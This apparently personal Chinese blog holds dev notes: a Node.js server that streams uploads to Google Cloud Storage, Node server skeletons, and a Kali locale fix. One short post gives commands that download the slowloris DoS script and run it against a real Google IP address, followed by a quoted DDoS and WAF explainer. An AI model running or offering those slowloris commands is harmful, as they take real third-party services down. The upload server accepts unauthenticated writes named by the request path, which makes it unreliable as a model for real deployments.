2015年9月24日 星期四

googld storage nodes example pipe gcloud

var http = require('http'),
fs = require('fs'),
url = require("url"),
path = require("path");


var gcloud = require('gcloud');
var storage;

storage = gcloud.storage({
  keyFilename: 'YOUR_JSON_KEY.json',
  projectId: 'YOUR_PROJECT_ID'
});


 http.createServer(function(request,response){

response.writeHead(200);

   var bucket = storage.bucket('peterbucket');

   var filename=url.parse(request.url).pathname.replace("/","");

request.pipe(bucket.file(filename).createWriteStream());

var fileSize = request.headers['content-length'];
var uploadedBytes = 0 ;

request.on('data',function(d){

uploadedBytes += d.length;
var p = (uploadedBytes/fileSize) * 100;
response.write("Uploading " + parseInt(p)+ " %\n");

});

request.on('end',function(){
response.end("File Upload Complete");
});

}).listen(8080,function(){

console.log("server started");
 });



1. YOUR_JSON_KEY.json


2. package.json

{
  "name": "NAME",
  "version": "0.0.1",
  "dependencies": {
    "gcloud": "^0.16.0",
  }
}

3. RUN IT
curl -v --upload-file  "FILE PATH" http://localhost:8080/

3. CHECK IT OUT ON YOUR GOOGLE STORAGE




response nodes , 三種 server 種類

三種 server 種類

Hello HTTP

var http = require('http');
var server = http.createServer(function (request, response) { 

 });


Hello TCP

var net = require('net');
var server = net.createServer(function (socket) {

 });

Hello Router

var server = require('node-router').getServer();
server.get("/", function (request, response) {

 });


2015年9月9日 星期三

ddos slowloris.pl kali

wget https://raw.githubusercontent.com/llaera/slowloris.pl/master/slowloris.pl
chmod +x slowloris.pl
ping www.google.com
perl ./slowloris.pl -dns 74.125.203.147 -options

http://support.unethost.com/knowledgebase.php?action=displayarticle&id=134

Q: 什麼是DDoS攻擊?
他是像服务器发送一个传输速递极低的HTTP请求,占用一个连接不松手,当多个HTTP同时进行slowloris攻击的时候就造成了ddos攻击。

A: DDoS(Distributed Denial of Service)為DoS(Denial of Service)的延伸,DoS中文譯為「阻斷服務攻擊」,
      即攻擊者造成網站伺服器充斥大量要求回覆的訊息,進而使伺服器無法去回應正常使用者的訊息。DDoS表示由多重來源發起攻擊而導致目標服務癱瘓,而並不單指特定某種攻擊手法。
      常見的DDoS攻擊有下列幾種:
TCP SYN Flood
UDP Flood
ICMP Flood
Http Get Flood
其中,TCP, UDP,ICMP這幾類的攻擊,都可以用linux的iptables rules加以處理。網路上也可以輕易找到解法。
然後,最後一種Http Get Flood,由於Http的封包是應用層的內容,iptalbes無法解析,也因此iptables無法阻擋Http Get Flood。
Http Get Flood的工作原理
在應用層當瀏覽器與伺服器端建立連線時,會發出請求(request)封包,當伺服器端收到此請求(request)封包時,
會回傳回應(response)封包給使用者。當攻擊者發出大量的請求(request)封包,伺服器端就會因為處理這些請求,而耗費過多資源,進而導致拒絕服務。
Unethost.com的WAF
因為Http Get Flood是屬於應用層的攻擊,所以能夠阻擋Http Get Flood的防火牆,又稱之為應用層防火牆(WAF)。
Unethost.com提供的WAF技術是基於瀏覽器的動態行為來辨識攻擊者的。透過這種辨識方式,
可以有效地辨別出真實的使用者與攻擊者的差異。並不會有誤擋真實使用者的情況。另一方面,
一般網路上可以找到的user agent rule設定,或是限制請求(request)數的方式,
都是基於靜態的封包內容或是根據單一連線速度,這一類的方法都容易產生誤判。很可能將正常的使用者的封包擋掉。

Error: setlocale() failed linux kali

https://forums.kali.org/showthread.php?23342-Trouble-locale-Settings-!!

echo 'export LC_ALL=en_US.UTF-8'>>.bashrc
source .bashrc